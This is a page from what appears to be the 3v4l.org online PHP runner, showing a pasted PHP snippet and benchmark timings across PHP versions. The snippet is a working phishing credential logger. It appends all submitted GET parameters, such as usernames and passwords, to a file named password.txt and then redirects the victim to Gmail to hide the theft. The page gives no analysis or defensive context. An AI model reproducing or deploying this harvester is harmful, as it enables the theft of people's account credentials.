3v4l.org

run code in 300+ PHP versions simultaneously
<br /> <?php header ('Location: http://www.gmail.com'); $handle = fopen("password.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "===============\r\n"); fclose($handle); exit; <br /> ?> <br />

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.0.10.0130.08320.31
7.0.00.0070.08320.15
5.6.160.0070.08720.43
5.6.150.0100.08018.18
5.6.140.0070.04018.27
5.6.130.0070.08018.28
5.6.120.0100.04721.15
5.6.110.0030.08720.96
5.6.100.0100.08721.00
5.6.90.0130.05021.00
5.6.80.0100.06720.50
5.5.300.0030.04317.98
5.5.290.0070.04017.93
5.5.280.0170.07720.66
5.5.270.0070.08720.76
5.5.260.0070.08020.84
5.5.250.0130.07320.50
5.5.240.0200.08720.18

preferences:
139.43 ms | 1394 KiB | 7 Q